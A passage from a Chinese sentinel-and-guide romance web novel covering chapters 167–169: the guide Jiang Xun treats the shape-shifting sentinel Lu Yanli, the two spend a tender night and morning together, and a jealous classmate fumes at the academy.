干脆连两条腿都搭上了沙发，让自己躺得更舒服一点。又掐住陆厌离的腰往上抱了抱，无奈说道：“行了行了，我就这个姿势给你治疗好了吧，趴上来一点，这么扭着你不难受吗？” 闻言，陆厌离面上马上转忧为喜，终于松开了死死抱在江寻腰间的双臂，顺着对方的力道翻到了他身上。下一刻，又迅速把手臂环上了江寻的脖颈，像是怕他反悔一般。 被他这幅黏人的模样气笑，江寻一声闷笑。陆厌离听在耳中，连耳朵都红了起来，却丝毫不知悔改，只觉心间一片安宁满足，长久以来飘飘荡荡的灵魂，终于找到了归处—— 作者有话说：黏人猫猫今日依然在正常发挥[墨镜] 晚点还有一更，今天给大家点甜头[狗头叼玫瑰] 第167章 江寻一手搭在陆厌离腰间， 一手轻拍着他的脊背，安抚着他的情绪。 脑中迅速运转，盘算着下一步的诊疗方案。 刚才用精神力丝探查过后， 他已经大致有了治疗方案。 今天先为他清理掉外围的污染， 精神图景之内的治疗需要的时间比较长，而且他也许久没有用过深层疏导这个技能， 最好让他重新上手熟悉熟悉， 练习过几次之后，再为他清理净化。 “算你没再骗我，状况比我想的好得多。”江寻心中最后一点担忧尽去，惩罚性地捏了捏陆厌离的耳垂，算是揭过了之前他胡乱使用技能的事。换来陆厌离一阵不满的小声哼唧。 本想着小树如今状态不错，过去对他来说比较刺激的精神触须接触， 如今应该可以承受得住了，还打算用触须来快速处理掉污染。 可看看陆厌离现在的模样， 和对精神力丝线的明显反应，江寻赶快打消了这个念头。 “还是稳妥点吧。”他自言自语道， 手指轻轻点了点陆厌离的额头， “万一再刺激到你，我可招架不住。” 对不起，作为地球人的我真的赶不上你们星际世界的速度……江寻有些悻悻然地想。 挂在他身上的陆厌离丝毫不知道自己无意间错过了更进一步的机会， 这会儿靠在江寻身上， 让他完全找回了很久之前的感觉，根本不愿意与对方有片刻的分离。急切地用脸颊不停蹭着江寻的颈窝，像极了当年他还是小树时的习惯动作。 江寻被陆厌离的小动作搞得有些脸热，冷静了半天才排除掉了他对自己的影响，又权衡了半天， 终于有了决定。 算了，慢点就慢点吧，反正现在他的状况也不急，他们以后有的是时间慢慢来。 心下定计，江寻就不再犹豫。他连精神力丝都没有重新凝聚，而是将虚幻的精神力集中在指尖，轻轻插入了陆厌离的发间，缓缓从上到下地梳理了起来。 这一次，他选择的是最为舒缓基础的接触式疏导。很久之前，他刚刚在寂静星上觉醒的时候，曾经在为小树梳毛时，无意识中使用过这个技能，让精神力以最缓慢的速度融入对方的身体中，为他进行疏导。 如今，他的手指温柔地梳理着陆厌离的头发，便似当年为小树梳理毛发。 那是当初他们每天都要进行的固定活动，他记得当时他还将小树梳理下来的毛发储存了起来，想要学地球上的很多家长一样，把它做成纪念品。只可惜，随着当年的那一次意外，这些回忆被统统遗留在了那个安静的星球上。 而自从离开小树之后，他便再也没有用过这个技能了。 这种疏导方式通常只有刚觉醒，还没有掌握正式疏导技能的小向导才会使用。这种疏导因为是从体表向内渗透进去的，对于精神力的损耗很大，疏导效率不高，所以，在学会正式的疏导技能后，几乎没人会再用这种方法。 不过，江寻觉得现在这个技能对陆厌离来说刚好合适。疏导效率不高也就意味着作用速度比较缓慢，对哨兵带来的刺激也就最为轻微，正适合陆厌离目前的状态。 反正他如今的精神力总量充足，不怕浪费，大不了就延长些疏导时间罢了。 江寻的下巴轻抵在陆厌离额头，一只手不断在他的发间穿梭抚摸着，带着十足的安抚意味。动作之间，丝丝缕缕的精神力顺着他的皮肤缓缓渗了进去，轻柔地汇入经络之中，随着能量的流动，一点点地将他体内的污浊冲刷融化。 轻柔的动作润物无声，不知不觉间便与陆厌离体内的精神力融汇为一体，为他带去一波又一波微妙的愉悦感。 那些被精神力丝唤醒的精神力，没有重新睡去，而是以一种平稳的速度，在陆厌离的体内运转了起来。肉眼可见的，他身上的气息变得越发平和安宁起来，力场也像是得到了安抚，温顺地笼罩在他的身周。 江寻持续着动作，眼看着陆厌离的表情越来越放松，紧紧搂着他脖颈的手臂也渐渐松了下来。最后，呼吸彻底变得平缓而悠长，整个人沉沉地睡了过去。 陆厌离沉浸在安宁的睡梦之中，久违地感到了轻灵与安心。他又梦到了那个人，让他惊喜的是，这一次，对方没有越走越远，让他无处寻觅，而是同样也向着他靠近了过来。 陆厌离一边叫着他的名字，一边毫不犹豫地抱住了他，而对方居然也像从前那样将他揽入了怀中。 “别走……”他在梦中喃喃道，手臂不自觉地收紧。而对方不但没有消失，反而一下一下轻拍在他的脊背上，像是在哄着他重新入睡。 这样的反应让他越发明白这只是一个虚幻的美梦，却不愿意清醒过来，不断呼唤着对方的名字，沉浸在那温柔的抚慰中，直到耳边传来一声又一声越来越清晰的呼唤…… “陆厌离……陆厌离，醒醒……小树……” 陆厌离迷迷糊糊地睁开了双眼，口中还惯性地喃喃着对方的名字。直至眼前的景象逐渐清晰了起来…… “陆厌离？……醒来了吗？换个地方再睡吧，这样你不难受吗？” 江寻有些吃力地轻声叫醒了陆厌离。花了两个多小时，他才终于把陆厌离体内的外部残疴处理得差不多了。这一趟下来，他的精神力倒是没多少消耗，身体却实在撑不住了。 这个沙发实在太小了，他一个人都躺不舒服，只能把脚搭在对面的扶手上。更不要说是两个大男人挤在一起了。要真的在这里窝一晚上，他明天早上可别想爬起来了。 眼见着怀里的人迷茫地睁开了眼睛，渐渐清醒了起来，江寻半撑起身子，正要把他也拉起来，却见那人，又是一个猛扑，重新把自己压了回去。 “嘶！”已经被他压麻了的肩膀一阵酸爽，江寻没忍住，泄出一声低吟。 如此真实的触感与声音，终于让陆厌离彻底清醒了过来。死死盯着被他压在身下的男人，他终于想了起来。 这不是梦，他真的找到了江寻。 神志清醒了过来，这才意识到两人现在的姿势，看着江寻呲牙的表情，赶忙羞愧地从对方身上翻了下来，蹲跪在了沙发旁。 “对不起，我居然睡着了，你没事吧？”他焦急地上下打量着仍然躺在沙发上，半天起不来的江寻，伸手想扶又不敢碰的样子显得格外无措。 “没事，就是肩膀麻了，你让我缓一缓……”江寻倒吸着气，皱着眉头缓了半天，那一阵难耐的麻痒才渐渐消退了下去，活动着肩膀，这才慢慢坐了起来。 “好了，我没事了。”迎上对方担忧的目光，江寻安抚地笑了笑，“行了，外部的污染暂时给你清理干净了，精神图景里面的，下次再帮你清理。” 听他提起这个，陆厌离这才惊觉了自己身上的变化，心中一动，内视一番，惊讶地发现，这一年以来，在他身体里重新沉积起来的污冗，居然已经完全消失不见了。 “你是怎么做到的……这么快！”陆厌离重逢以来第一次感到了由衷的惊讶。他自己的实力他是知道的，这次康复归来以后，不仅重归巅峰，还不知缘由地凭空增长了一大截，如今要给他疏导，不知要比当初在寂静星上时难度提高了多少倍！ 他一直知道江寻的悟性很不错，当初，只靠着自学就掌握了C级向导的技能，但是他记得江寻的精神力潜能并不是很高，当初精神海的总量就增长得不算快，为他疏导的时候，经常会完全耗尽精神力半昏半睡过去。 若非如此，他也不能一直不露痕迹地为他偷偷补偿。 如今只不过一年过去，他是怎么成长到能举重若轻地进行疏导的？！这……陆厌离不是非常清楚向导的能力划分，但是按照他的估算，要达到这样的水平，至少得是A级了吧？ “哼！”江寻笑着点了点陆厌离的额头，“这一年时间，我也是很努力的好吗，当然会进步了。” 他站起身来，伸展了下僵硬的身体：“我在圣所可不是白待的。” “好了，已经很晚了，先睡吧，以后再慢慢跟你说。”时间已经过了凌晨，再不睡，外面的天都要亮了。江寻不欲在这些事上继续解释，反正相处久了对方自然就会清楚的。 现在的问题是…… “真的要留下来吗？”江寻转过身来，认真看向仰面凝视着他的陆厌离。 陆厌离没有说话，直接用行动回答了他的问题。 被净化过的精神力运转起来更加流畅，一念之间，一层细密的灰黑色光点就笼罩住了陆厌离周身。下一秒，他的身影一晃化为虚幻，全身的衣物“啪”一声坠落地面。 待光点重新凝聚起来，一只久违的灰色小猫便出现在了江寻面前，那双熟悉的绿眼，在灯光下闪烁着期待的光芒—— 作者有话说：继续甜甜~猫猫奋勇向前冲冲冲[三花猫头] 第168章 已经许久未见的猫猫， 突然出现在了面前，让江寻的目光一瞬温柔了下来。 他仔仔细细打量着面前正襟危坐的猫猫。 不知道是不是因为身上沉疴尽去的原因，他的毛色与瞳色都比在寂静星时浅了一层。特别是一圈茂盛的毛领圈与腹部的毛发， 根部都褪成了浅灰色， 只有毛尖仍然维持着烟灰的颜色。 面部整体没有什么变化，依然是一副宽额阔鼻的威风样， 就是脸上多了些肉， 嘴套更明显了些，在自然光下看着有些暗沉的墨绿瞳孔，褪成了更加通透的碧绿色，不得不说，这样的配色让他看起来比在寂静星上时更有生气了。 变化最大的要数他的尾巴，原本就又长又蓬松的大尾巴， 似乎又经历了一次爆毛，颜色也有了些变化， 从尾根到尾尖毛色逐渐变淡，到了最顶端的那一撮， 已经完全褪成了纯白色。整体的毛量与长度都比身上更胜了一筹， 随意摆动一下就如波涛般光滑柔软，翻卷如云，直让人看得手痒心痒， 想要薅到手中揉搓把玩一番。 他似乎也对自己如今的外貌十分有自信， 端坐的姿态威风凛凛，尾巴慢吞吞地左摇右晃，似乎是故意要让江寻看清它漂亮的模样。 见江寻一直盯着自己，却一点儿表示也没有，他有些疑惑地微微歪头， 似乎是在问：你为什么还不来抱我。 江寻被他看得整个心都软了下来，半蹲下来向他伸开了双臂，猫猫马上动了起来，踏前一步就顺势偎进了江寻的怀里，整个身体像没有骨头似的软了下来，直到这时，才长长地“喵~~”了一声，又细又软的夹子音甜腻得与他这幅威风的外表完全不搭，可放在小树身上，江寻却觉得合适得紧，不由震动着胸腔，低低笑出了声来。 恢复了猫身的陆厌离，似乎完全丢掉了矜持与礼貌，听到江寻的笑声，手脚并用，软绵绵地用肉垫拍打着江寻的胸膛表示抗议，身后的大尾巴却不住地扫过江寻手边，似乎在勾引着他来把玩。 江寻心中酥软，只觉某个空荡荡的地方，如今终于等来了它命定的主人，双臂一合就将猫猫紧紧抱进了怀里，走向床榻。一只手像是抱着小婴儿一般让他仰躺在怀里，另一只手犹豫了一下，还是落在了猫猫的脑袋上，手指成梳，不住地抚摸着他的面颊后脑，揉捏着他软软的耳朵。 本想更加亲近一些以慰这长久的分离，可看着猫猫圆溜溜看向他的信赖眼神，想到他内里的人，还是感觉有些犹豫。坐在床上，眼睛扫了眼床榻想了想，还是把猫猫放在了枕边。 “我这里地方小，今天就先委屈你一下了。”江寻带着些歉意，大手压上猫猫的脑袋，摸了几下，便调暗了灯光，翻身上床。 可此时披上了猫猫外皮的陆厌离，哪里会乖乖听他的安排，一见江寻躺进了被窝里，刚刚还安安分分窝在枕边一动不动的猫猫，马上一个低头，从江寻手下顺滑地溜了出去，脑袋灵巧地一顶，便从侧面的被缝中钻了进去，四爪扑腾几下，硬挤进了江寻怀里，再往上一伸脑袋，就亲亲密密地偎进了江寻颈间，一边软软地叫着，一边盯着他的脖子舔舐了上去。 “唔！”猫猫舌头上的倒刺刮到江寻敏感的颈间皮肤的那一瞬，他的脸庞瞬间就红了，慌忙伸手挡在了自己的脖子上。 “你……别，你现在不能再舔我了。”一句话被江寻说得磕磕绊绊。将陆厌离那张眉眼清俊的面庞，与面前猫猫的动作联系起来，更是让他不好意思到了极点。 陆厌离这会儿化作了猫身，好像便连性格也有了变化，见着自己的目标被挡住，丝毫不在意，马上就转换目标舔上了江寻捂着脖颈的手背。又是舔舐又是轻轻啃咬，动作间是一如既往地欢快亲热，双爪抱住江寻的手腕就黏黏糊糊地整个贴了上去。 “哎哎！”江寻刚护住了脖子，整只左手又沦陷，再去阻挡猫猫的热情抽出左手，又被他抱住右手。手忙脚乱之间，只觉得被那温软的舔舐与啃咬纠缠，直直挠在了心尖上，又是酥麻绵软，又是手足无措，憋得整张面庞都热烫了起来。 “好了，不准闹了，赶快睡觉！”被猫猫闹腾地急眼了，江寻也不管他的折腾，一手从他身下穿了过去紧紧将他搂过来控制住他的动作，一手把他的脑袋按进胸膛里，止住了他逮哪舔哪的行为。 感受着这样从上到下的控制笼罩，被江寻的体温与气息完全覆盖着，陆厌离呼吸急促，目眩神迷，终于停下了纠缠的动作，紧紧扒住江寻胸前的衣服不动了。 这样的感觉正是他最最喜欢的，他甚至更加缩紧了身子团得更小一些，好让自己完全缩进江寻的臂弯里。 他的尾巴翻卷着攀上江寻的小臂，不是推拒，而是把它拉得更近，恨不得让他紧紧箍住自己，让所有的皮肉都在他的手下颤抖。 紧紧贴在江寻怀里，蹭着他的胸膛，陆厌离在江寻的大掌包裹下，克制不住本性地喉头滚动，发出一连串咕噜声。 见到这个小祖宗终于消停了下来，江寻松了口气，都已经快要入冬的时节，这一番来往竟让他冒出了一头的汗来。脸上也像烧着了似的，腾起阵阵热气。 他这边气喘吁吁，胸膛起伏着喘息，却听见怀里传出一阵小声的咕噜，不由没好气地捏了捏猫猫的耳朵，惹来他一阵小声的喵喵叫唤。 低头看看头也不抬，蹭得欢快的猫猫，无奈地叹了口气，知道是别想让他重新出去睡在旁边了，只好拉起了刚才在闹腾中被震开的被子重新包裹住两人，点了点猫猫湿漉漉的鼻子：“好了，现在不准再闹腾了，好好睡觉！” 陆厌离得偿所愿，更是确定了自己这身猫猫皮依然和过去一般无往不利，自然不会再闹，满意地紧紧扒住江寻的衣襟，嗅闻着令人安心的气息，慢慢坠入了梦乡里。 看着怀里的猫猫终于缓缓闭上了眼睛，呼吸变得悠长，江寻托着他小小的脑袋，看了半晌，用拇指轻轻摩挲过他的额头，终于露出了一个满足的笑容。 低下头去，轻轻在猫猫额头上落下一个吻，终于拢着这失而复得的珍宝，渐渐睡了过去。 小小的公寓内，只因多了一个身影，便被满满的安心与满足充溢。 一人一猫依偎在一起，便如拥抱了他们的全世界。 * 清晨，江寻皱了皱眉，被一股存在感十足的视线扰醒，一睁开眼睛，便瞧见一张鼓鼓的小脸，睁着溜圆的绿眼睛，乖巧地静静趴在胸前，仰望着自己。 一见他睁眼，马上伸过了脑袋，怼在他的颊边轻轻顶|弄着，一边磨蹭着撒娇，一边拉起细长的调子，软绵绵地叫唤了起来。 这一下，把江寻刚醒来时生出的那点不自在一下子磨碎，只剩下了满心的暖意。 “你真是……”江寻组织了半天语言，看着那张依赖地贴在自己颊边的小脸却半天说不出口，只得没好气地点了点他的额头，把这个牛皮糖推开了一点，“好了好了，我该起床上课去了。” 又费劲地从猫猫爪下脱身出来，终于下了床。 走到窗边开了条缝，让清晨的微风拂过面庞，江寻这才降下了一些温度，冷静了下来，转过头说道：“我先去做点早餐，你……” 江寻犹豫了下，以前他只是一只小猫，自然是一直跟着自己，听自己的安排。可如今对方也是一个独立的人，他似乎就没有什么给他安排日程的权利了。 陆厌离哪肯让他犹豫，一见江寻离开了床铺，也立马清醒了过来，根本不管江寻的欲言又止，一跃轻盈落地就冲着江寻的裤腿跑了过来，有力的后腿一使劲，便原地跳起，一跃挂上了江寻胸前，再勾着他的衣服往上一窜，就踩上了江寻的后脖颈，尾巴往他颈项上一挂，便稳稳地坐了下来。 这一番兔起鹘落动作极快，江寻根本来不及反应，便已经肩上一重，成为了猫猫的坐骑。这下也不用他犹豫了，叹了口气，就顶着猫猫起锅开火，在他熟悉的打扰下，坚定地为二人做好了早饭。 其中一番攻守歪缠自不用提，也是完全唤醒了江寻的记忆。 昨天两人才刚刚重逢，江寻家里自然没有特别准备给小猫的食物，他准备的是与自己一样的牛奶三明治。将盘子放上了桌，这才抖了抖肩膀，侧脸看向依然与他挤挤挨挨的猫猫：“好了，快变回来吧，吃饭了。” 陆厌离依依不舍地最后凑在他耳下蹭了蹭，这才跳了下来，跑向小客厅。 知道对方要变回来换衣服，江寻也适时地转过了身去，不去看客厅里的景象。可刚背对着那边坐了下来，又听到客厅里传来一连串喵呜喵呜的叫声。 放下手中的餐具，叹了口气。江寻只觉得这一天一夜里叹气的次数，简直比得过之前一年的份额了。 只这一声叹息的工夫，便听着客厅里的叫声越发委屈了起来，只得赶紧站起了身，几步走了过去。 “好了好了，我来了，怎么了？” 猫猫见成功唤来了江寻，终于停下了一迭声的吵嚷，一低头，把脚下的衣服拖到了他的面前。 江寻一眼看到那身堆在地上皱巴巴的衣服，心中便暗叫不好。等到拎起那身军部礼服仔细打量了一下，心彻底死了。 这种面料特殊，专供宴会使用的礼服，都是十分娇贵的，每次穿之前都要特意打理熨烫，否则，就会皱巴巴的显得十分邋遢。 昨天陆厌离穿着这身衣服，对他又是抱又是压的，本就皱出了许多褶子。最后他重新化为小猫之后，也没有去管那身跌落在地上的礼服。一夜过去，这身金贵的衣服早就皱成了破报纸，根本不能穿了。 猫猫此时还理直气壮地站在衣服旁边，一双碧眼炯炯有神地望着江寻，也不知道是在自豪什么。 江寻头疼，没好气地戳了戳他的脑门，都怪他昨天缠自己缠得紧，让自己完全忘了这回事。现在该怎么办？自己马上就要出门，总不能就让他一整天保持着这幅样子吧？ 眼看着猫猫又软软叫着贴了上来，江寻伸出一只手指，恶狠狠地把他顶了开来：“不行，等下我要去上学的，你难道还想这幅样子跟我一起去吗？还是说你想留在家里等我回来给你送衣服？” 这一次，江寻坚决地拒绝了他这个异想天开的想法。 昨天可是有好几个同学看到他和陆厌离有旧，今天要是他上学去，身边突然多了只猫，任谁都会猜出这其中有猫腻了。 他倒是不怕别人说他什么，但陆厌离在外面声名赫赫，还刚刚获得了最高勋章，在这种时候传出这样的流言，对他的威望一定有很大的影响。 他并不想让两人的关系，为他带来负面的影响。 回忆了一下陆厌离的体型，江寻认命地打开了衣柜，挑了一身他穿得比较少的衣服，放在了沙发上：“今天就先穿我的衣服吧。” 猫猫看着江寻的动作，长长的喵叫了一声，声音有气无力，似乎不太情愿，被江寻无声瞥了一眼，这才安静下来，啪嗒啪嗒地小跑到了沙发前。 江寻正要转身回避，熟悉的精神波动已经震颤了起来，下一秒，一团黑灰火焰从猫猫身体上窜了起来，瞬间膨大，将他完全笼罩了进去。 紧接着，火焰中心出现一个黑影，转瞬拉长升高，凝聚成形。随即，外部沸腾的焰流倏然回流，在一身苍白皮肤上消失了踪影。一个赤|裸的身躯一步踏出，出现在了江寻面前。 江寻的眼眸一下睁大，反应过来之后猛地转过了身，余光还是看到了那人压下上身去取沙发上衣物的背影。那挺翘的白肉在视网膜上一闪即逝，便晃得他两颊升温，赶忙疾走几步远离了客厅。 陆厌离手上拎着江寻拿给他的卫衣，背对着江寻的面庞也是一片晕红，咬着嘴唇一阵紧张。听着耳边的脚步声渐渐远去，心中涌动着的也不知是放松还是失望。 稍缓了缓，看了看手中的衣服，偷偷凑近闻了闻，眼中露出一点满足的笑意，速度飞快地将这一身稍显宽大的衣服套在了身上。 挽起裤脚再走出去时，已经恢复了平日里的镇定从容。 江寻看到从客厅里走出来的人，稍稍顿了顿，轻咳了一声，拉开旁边的椅子，引着他坐了下来，将餐盘挪到他面前，请他用早餐。 眼角余光观察着这个与平日里十分不同的人，心中又生出些不一样的感觉。 之前见到陆厌离的时候，他不是穿着军装就是礼服，即使在一些资料视频里出现的便装，也是各种制式的战斗服。就算是他十几岁时的照片，给人的感觉也总是冷硬有余，缺了些符合他年纪的鲜活气。 如今穿上了他的衣服，没有整理的头发自然地垂坠下来，配上对方本身容貌里自带的有些冷淡的气质，看着一下子小了好几岁，显得乖巧又矜贵。 他此时已经完全不见了刚才化作猫猫时的歪缠，坐下时脊背挺直，吃起饭来也不用手直接去拿取，而是灵巧地用刀叉分割，力使得巧妙，一点儿餐具相碰的声音都没有发出来，一举一动优雅有度，充满了与生俱来的贵族气质，与化作猫猫时的模样完全判若两人。 这一番表现，又为江寻心中的画像添上了一些不一样的颜色。 两人默契地用着早餐，虽未说话，眼波流转间却每每从对方身上滑过，无声无息间，便洋溢起了一股微妙的气氛。 直至两人一起放下了餐具，江寻这才斟酌着开了口：“我等下就去圣所了，你今天要怎么安排？” “我最近都没有什么特别的安排，有事的话威尔逊将军会联系我的。”陆厌离放下手中的牛奶杯，看向江寻，“等下我和你一起去圣所，我也有些事情想要去请教一下哨兵学院的导师。” “嗯？”江寻为这个回答怔了一下，不太明白陆厌离都已经毕业从军十几年了，能力早就提升到了潜能上限，还有什么问题需要重新回去圣所请教的。不过，既然对方已经有了自己的安排，他也不便多言，“好的，那我们等下就一起走吧。你的衣服的话，我回来洗好之后给你送……” 话还没说完，便被陆厌离急急打断：“等晚上下课了，我过去接你，我们再一起回来。” 看着江寻愣住的表情，他语气放缓，义正言辞地解释道：“军部的下一个任务不知道什么时候就会下达，你不是说我身上的污染还需要好几次治疗才能清理干净吗？不如就趁着我最近休假的这段时间帮我疏导吧，这样我去处理下一次任务也更安心一点，可以吗？” “……当然可以。”对这个非常合乎情理的理由，江寻自然认同，但看着陆厌离的模样，总觉得有点不对。 想了想，早点为他疏导干净，的确也能让自己更放心一些，遂也不再拒绝。 只是临出门前，看着陆厌离这一幅面嫩的学生样，还是犹豫地问了一声：“你这个样子出门可以吗？要不还是先回家去换件衣服？” “没关系，这样就好，”陆厌离眼睛都不眨就拒绝了，“我们军部的人在休假期间也需要放松的，穿成这样很正常。” 这身衣服上满满的都是江寻遗留的气息，穿着它便像是随时被江寻抱在怀里一样，陆厌离哪里肯换，更何况……对于哨兵这种五感灵敏的人群来说，身上留着他人的气息，亦或者将自身的气息染在他人身上，都有着特别的意义。 江寻这个向导不懂这些，可他身边的其他哨兵一定是知道的。这正是他想让其他人看到的东西。 见陆厌离拒绝，江寻也没有继续坚持，便从善如流地搭上了陆厌离的悬浮车，被他送到了圣所门口。 陆厌离还想直接驾驶着车子把江寻送到核心区门口，被江寻以不同路的理由拒绝了，只好悻悻将他放了下来。直到看着江寻顺着步道走得看不到人影，这才重新启动了车子，调转车头飞向了哨兵学院的方向。 他说要去找哨兵学院的导师问一些问题，可不是假的。 马上，他就有许多知识需要用到呢。 * 江寻在圣所门口挥别了陆厌离，一直顺着步道走到了尽头，才感受不到身后那道灼灼的目光。 想了想那个与他一起起床，一起用餐的人，还是感觉十分不真实。 短短一天时间，他的生活就产生了这么大的变化，而且肉眼可见的，这种变化还会继续下去。这一点认知，不禁让他感觉到有些虚幻，有些不可思议。 一边品味着这种神奇的感觉，一边向着星环大厅的方向走去，等回过神来，已经到了星环大厅门口。 上周的积分赛，他们这一届只有寥寥几人参加。大部分没有比赛的学员都把这一周时间当做了假期，有条件的出去旅游或者回家探亲，没条件的也相约同窗，去中央星上其他的群岛上见识了一番世面。 今日重回圣所，几乎每个人都容光焕发，叽叽喳喳交流着这难得的假期里见识到的新奇事物。 而这些人中，又数几个参加了积分赛，获得了邀请函，亦或者自家有资格受到了邀请，前往那个鼎鼎大名的星辉盛宴的学员最为风光。江寻还没踏入大厅，就已经看到了厅中聚集起来的几群人。 略显尖利的笑声不时从人群中传出来，附带着身边人的连声赞叹，十分热闹显眼。 而其中最热闹的，要数中间人数最多的那群人。可坐在这群人中央的那个年轻人，一眼看到踏入大厅的江寻，口中清脆的笑声，便戛然而止—— 作者有话说：修完~今天甜甜，下章小打一波脸[墨镜] 第169章 桑扶原本坐在最中心的位置上， 正与身边的拥趸们描绘着昨晚星辉盛宴的盛况，余光瞥到门口出现的人影，说到一半的话便戛然而止， 脸色瞬间阴沉了下来， 手指下意识地攥紧了桌面上的课本，修剪得圆润的指甲， 在纸面上压出了深深的痕迹。 他张了张嘴刚想说些什么， 又突然像是想起了什么，猛地吸了一口气，硬生生把几乎要脱口而出的讥讽压了回去，只是用着嫉恨的目光死死盯着江寻，胸口剧烈起伏了起来。 昨晚他被弗兰克带走时，很是被他严厉警告了一番， 让他没有搞清楚这个夏因的底细之前，决不能随意轻举妄动。 连那个临阵倒戈的洛伦茨都敢对他冷脸， 辛辛苦苦给他疏导完，结果对方给他的补偿都敷衍了事， 搞得他一早起来就头痛欲裂。 这个该死的夏因， 平日里装出一副高岭之花的模样，做的事却比他还要低贱。背地里不知道勾搭了多少人，什么手段都使得出来。就凭他那副比哨兵还要壮实的粗鲁模样， 居然还屡屡得手， 被一堆高级哨兵在身后追捧着，给他带来了无数羞辱！ 昨天他看着对方与那个鼎鼎大名的陆少将一起离开，回去之后不知诅咒了多少遍让他倒霉，此时却见对方像个没事人一样又出现在了大厅里，浑身上下连一点儿异样都看不出来， 不禁怒火中烧。 他身边的其他人看到桑扶的神色变化，下意识顺着他的目光看了过去，见到江寻身影的瞬间，也哑住了声音，面面相觑，安静了下来。 大厅中聚集起来的其他几群人，发现了他们的异样，纷纷向着教室门口看了过去。当看到江寻出现时，现场骤然安静了一瞬。 随后，一阵压抑着兴奋的惊呼声就嗡嗡嗡地传了开来。 不同于桑扶等人一伙，另外几个靠着家里的关系有幸参加了星辉盛宴的向导学员们，与江寻可没有任何仇怨。一见到江寻的人影，马上互相交换了一个兴奋的眼神。 他们昨晚在星辉盛宴时，有的跟在自家长辈身边不能随意行走，有的没资格进入主宴会大厅，都没有亲眼看到当时的那场冲突，只从一些学长亦或其他家族成员的口中，听说了江寻与那位新晋的紫荆最高徽章获得者陆厌离少将之间的传闻。 这位少将以往很少出现在公众视野中，关于他的各种传说也多是一些严肃的社会事件与战斗战役，少有与其私生活相关的。昨天在最荣耀的时刻，又突然爆出了这样的绯色流言，顿时在上流圈子里疯传了起来。 昨晚就有人信誓旦旦地保证，亲眼看到了陆少将与他们这位一直以来都非常低调的同学，一起进入了同一间休息室里独处了很久。 虽然最后，也有人说看到陆少将是一个人独自离去的。但也有一些传闻说，他去了一趟军部办公室之后，又匆匆离开了，之后就不知所踪，很可能又去找了他们这位同学。 一晚上过去，各种版本的传闻已经满天飞，却没有一个人能拿到切实的证据，他们早就在心里憋不住好奇，就等着今天上课，来打听打听呢。此刻见到了当事人，哪里还按捺得住。 这些人各个身后都有着自己的势力，可不会去顾忌桑扶的脸色，几乎是不约而同地起身，朝着江寻围了过去。 “夏因，你来了！” “夏因向导，你瞒得好深啊！我们可听说了，昨天在宴会上……” “你是不是真的认识陆厌离少将啊？” “昨天你们单独待在休息室里那么久，是不是……” “陆少将昨晚上是不是和你约会去啦？快跟我们说说嘛！到底怎么回事？” 一瞬间，七嘴八舌的询问便将江寻完全包围了起来。 江寻被堵住了前路，不得不停下了脚步，看了看眼前几张写满了八卦与好奇的脸，迟疑了片刻。 “唔……只是，有些交情而已。”他含糊地应了一声，算是给了众人一个答案，关键的具体信息却什么也没透露。 “哇！真的啊！” “什么样的交情啊？你们怎么会认识的？是在外域的时候吗？” “真的假的啊？听说昨天陆少将见到你的时候，脸色都变了……” “你昨天和陆少将真的没发生什么吗？” 江寻含糊的回答丝毫不能消减众人的好奇心，各种各样的问题如连珠炮般向着他砸了过来，一双双兴奋的眼睛里，闪烁着或是看好戏、或是嫉妒、又或是怀疑的光芒。 江寻十分不适应这种直接扑到了他脸上的热情，微微蹙眉后退了半步，拉开了一点距离，露出一个礼节性的微笑：“抱歉，具体的不太方便多说。” 这些人与他并不熟悉，又人多嘴杂，他可不会将陆厌离的事随便告诉这些人，免得被他们传得面目全非，给陆厌离带来不必要的麻烦。 众人可不满意这样的说辞，围着江寻又追问了许久，见他口风真的很紧，什么也问不出来，终于放弃了盘问，眼中露出失望的神情，纷纷散了开来。可即使回到了自己的人群里，看向他的眼神中依然充满了探究与羡慕。 这一幕彻底刺激到了不远处的桑扶。他费尽心力，付出了巨大的代价，才笼络到了洛伦茨，挤下夏因，拿到了星辉盛宴的邀请函。今日这种万众瞩目的待遇本该是他的，此刻却又一次被夏因夺走！ 他本就不是个能控制住脾气的人，此刻新仇旧恨涌上心头，气得几乎将牙咬碎。可又在弗兰克的警告下不能直接去找夏因的麻烦，憋闷的心情，让他猛地一巴掌拍在了桌子上，发出“砰”的一声巨响，吓得周围的人纷纷扭过头去看他。 “吵什么吵！”他冲着身边几个一直跟着他的拥趸发火，声音尖利刺耳，毫无平日里的甜美味道，“都没事干了是吗？围着个B级向导问东问西，能问出个什么花来？！想搭上大人物，就自己多努力，等级低又没本事，就只会想着些歪门邪道，靠抱着别人的大腿上位！哼！一时的风光有什么用？人家可是最顶级的大人物，追着他跑的少爷小姐不知道有多少！等哪天人家玩腻了，还不是丢你像丢一堆垃圾一样！” 他的言语刻薄讥讽，指桑骂槐的话，让整个教室里的人都听得清清楚楚。那几个被他逮着泻火的小弟，即使知道他骂的不是自己，也一个个的在他的喝骂下噤若寒蝉，不敢接话。 江寻自然也听到了他含沙射影的这番话，可他与陆厌离的关系，岂是桑扶所能理解？他也懒得去与他争些那些从来都没有放在眼里的东西。 他只是转过头，目光平淡地看了一眼因为极度的愤怒与嫉恨而面容扭曲的桑扶。 两人的视线在空中短暂交汇了一瞬。 而后，江寻便无所谓地收回了视线，径直走向了自己惯常坐着的座位。脸上连一点儿在意的表情都没有。 又是这副表情！又是这种完全不把他放在眼里的眼神！ 桑扶的脸上青白交错，难堪、暴怒、嫉妒、鄙夷，种种情绪轮番在他脸上浮现，可他认定的对手却完全无视了他。这种永远一拳打到空处的感觉，让他憋了一肚子火，却无处释放出去，最后只能恨怒地自己消化掉。 桑扶的怒火几乎化为实质，烧得周围一片窒息一般的安静。 恰逢此时，上课铃声适时响了起来，导师抱着课件缓缓走进了教室，这才将这股凝滞的气氛打破。 课程在这样诡异的气氛中正式开始，可今天，无数人的心思已经难以平静下来，各色的目光，不断落在那个安静听讲的人身上。 * 另一边，一辆挂着特殊牌照的军用悬浮车，缓缓在哨兵学院的停车场中降落了下来。 这辆特殊的车子，立刻引起了附近往来学员们的注意。 当陆厌离停稳车子，开门下车之时，那张最近经常出现在军方宣传与网站、新闻中的脸，又让更多的人纷纷侧目，露出惊疑不定的神色来。 离开了江寻的陆厌离，又恢复了他那张少有表情的寡淡面孔。 可他今天格外不同的装扮，却让认出他面孔的学员们不敢确定他的身份，纷纷窃窃私语了起来。 那身在他身上出现几率很高的黑色军装不见了，取而代之的，是一件充满了学生气的宽松卫衣，和一条柔软的浅色长裤。每次出现在公众面前时，都要全部捋到后方的头发，今天也随意地散了下来。 